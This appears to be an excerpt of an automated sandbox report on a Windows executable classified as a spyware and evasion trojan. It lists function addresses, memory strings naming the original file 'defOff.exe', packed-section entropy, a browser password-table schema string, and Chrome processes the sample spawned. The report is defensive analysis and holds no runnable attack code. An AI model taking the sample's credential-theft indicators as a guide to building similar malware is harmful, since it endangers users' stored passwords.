Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A1557	0_2_065A1557
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D4D50	0_2_065D4D50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A2D19	0_2_065A2D19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659653B	0_2_0659653B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CC535	0_2_065CC535
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C2DDD	0_2_065C2DDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A6DDF	0_2_065A6DDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065995CA	0_2_065995CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BCDCF	0_2_065BCDCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C35C0	0_2_065C35C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B0DEA	0_2_065B0DEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A05EF	0_2_065A05EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C25EA	0_2_065C25EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BD5EC	0_2_065BD5EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AE5E7	0_2_065AE5E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A75E5	0_2_065A75E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06597598	0_2_06597598
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659858F	0_2_0659858F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065ADD87	0_2_065ADD87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B95AB	0_2_065B95AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659AA5C	0_2_0659AA5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06595A51	0_2_06595A51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A6A48	0_2_065A6A48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B9A48	0_2_065B9A48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D0A74	0_2_065D0A74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B2268	0_2_065B2268
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06597A63	0_2_06597A63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659F21B	0_2_0659F21B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B4A1C	0_2_065B4A1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BD216	0_2_065BD216
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B620A	0_2_065B620A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A720E	0_2_065A720E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C9A3D	0_2_065C9A3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06596235	0_2_06596235
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C2229	0_2_065C2229
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AFA24	0_2_065AFA24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BC2DB	0_2_065BC2DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D52DA	0_2_065D52DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D62CD	0_2_065D62CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A1AC8	0_2_065A1AC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BBAFB	0_2_065BBAFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B5AF6	0_2_065B5AF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CAAEC	0_2_065CAAEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A3AEC	0_2_065A3AEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C3AE3	0_2_065C3AE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B82BE	0_2_065B82BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659FAAB	0_2_0659FAAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06596AA2	0_2_06596AA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C6356	0_2_065C6356
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C134A	0_2_065C134A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CB343	0_2_065CB343
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C737E	0_2_065C737E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B1B18	0_2_065B1B18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B630D	0_2_065B630D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A833D	0_2_065A833D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BEB30	0_2_065BEB30

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1577651388.0000000006166000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574539252.000000000614C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568158000.0000000006037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1565607141.00000000060DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566525580.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571462588.000000000612C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571731969.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1617795530.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1560970650.0000000005EBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697058781.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618228731.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570214828.00000000061FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576126514.0000000006280000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568251309.00000000060F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566615851.0000000006033000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567970712.000000000603B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576662746.000000000616B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569376104.00000000061DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1564230120.000000000603F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576438377.0000000006038000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571004949.0000000006210000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570446720.000000000611E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579207319.0000000006036000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572103237.0000000006241000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568539552.00000000060F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1563998237.0000000005C94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577401606.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574025944.000000000614B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566845073.0000000006035000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578194183.00000000062A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574417957.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566440259.0000000006041000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573522524.0000000006143000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1565780446.00000000060DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573316447.000000000603C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569985801.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572705202.000000000614C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568064145.0000000006100000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571127446.000000000603A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571940150.000000000613B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1563910424.0000000005EBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1564304140.00000000060DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567653980.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1564151369.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572931332.0000000006036000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572226484.0000000006041000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571227200.0000000006131000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1560970650.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573165038.0000000006150000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1564076563.0000000006037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574942471.000000000615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572384385.000000000614B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574291206.0000000006151000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566355461.0000000006180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618284998.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1572548442.000000000603F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1724525013.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568347829.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571344463.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569505902.0000000006040000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577791548.0000000006033000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577225881.00000000062AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567873892.0000000006101000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578345836.0000000006038000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577942082.0000000006167000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567553503.000000000603D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570771899.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569635459.0000000006120000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1567445450.00000000061AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1565694842.0000000006040000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566105477.00000000060DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574795637.0000000006037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566272596.00000000060D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566017355.000000000603B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571588435.0000000006231000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575569720.0000000006035000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568865641.0000000006111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568621518.00000000061CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1565937879.00000000060D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577090403.000000000616D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570094726.0000000006114000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575309825.000000000615D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575843383.0000000006153000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618123496.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575104869.0000000006036000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567748408.000000000603D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1727463677.00000000062D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579392888.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570328283.0000000006037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573727551.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568443094.0000000006035000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578674042.0000000006039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567065782.00000000060EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574165932.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576943015.000000000603A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578493782.000000000617F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1565859175.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569064004.0000000006105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574662969.0000000006263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566708147.00000000060EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569863855.0000000006114000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1560970650.0000000005E76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1568771267.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570652173.0000000006206000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579038554.00000000062CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570889832.0000000006117000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569754316.0000000006041000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1565522115.000000000603B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566189143.0000000006038000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568961854.0000000006039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578878780.000000000617C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9992635758196722
Source: file.exe	Static PE information: Section: obdpnpls ZLIB complexity 0.9942487668247171

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@11/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1364973852.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364725958.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1386962908.0000000005C40000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1386962908.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1880,i,4249164096274677999,9181346475388211576,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1916,i,2138066403308314358,10443051361612717293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1880,i,4249164096274677999,9181346475388211576,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
